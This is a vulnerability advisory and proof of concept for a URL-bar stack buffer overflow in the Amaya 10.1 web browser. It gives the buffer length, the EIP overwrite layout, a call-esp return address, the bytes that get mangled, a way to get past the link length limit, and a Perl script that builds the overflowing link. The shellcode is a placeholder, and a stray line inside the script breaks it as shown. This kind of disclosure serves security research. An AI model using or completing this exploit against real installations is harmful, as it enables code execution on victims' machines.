W3C Amaya 10.1 Web Browser

Amaya (URL Bar) Remote Stack Overflow Vulnerability

Written and discovered by:

r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)

Advisory: http://www.bmgsec.com.au/advisory/40/

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Shellcode notes:

The application fails to correctly process certain bytes:

0x9c becomes 0x9cc2

Similar events occur with different bytes (0xf8, 0xfb, 0xbe, 0x93, 0xab, 0xaf 0xeb).

After reviewing the source code, the below function modifies the

shellcode:

Line 902: int TtaWCToMBstring (wchar_t src, unsigned char **dest)

The max value which can be used is 0x1fffff <– Thanks Luigi!

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The URL bar contains a buffer overflow vulnerability:

buffer length: 1600 bytes

[junk] + [eip] + [shellcode]

1600 + 4 + sizeof(shellcode)

ESP points to data after EIP.

I found it difficult to access the URL bar via HTML code. For example, compile the above code,

write it to a HTML file, then load it into the browser. Attempt to click the link and

you will notice there is a 800 character limit on the link.

To bypass this problem click the link then select "Links" >> "Create or change link…".

Now click "Confirm". Alternatively just copy the payload into the URL bar.

URL Bar Proof of concept:

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#!/usr/bin/perl

use warnings;
use strict;

my $shellcode = 'C' x 80;

0x7D035F53 -> \x53\x5f\x03\x7d <– Bingo! (call esp)

my $data = '<a href="' .
'A' x 1600 .
"\x53\x5f\x03\x7d" . # eip (ESP points to stuff after RET, so shellcode)
$shellcode .
'">r0ut3r</a>';
print $data;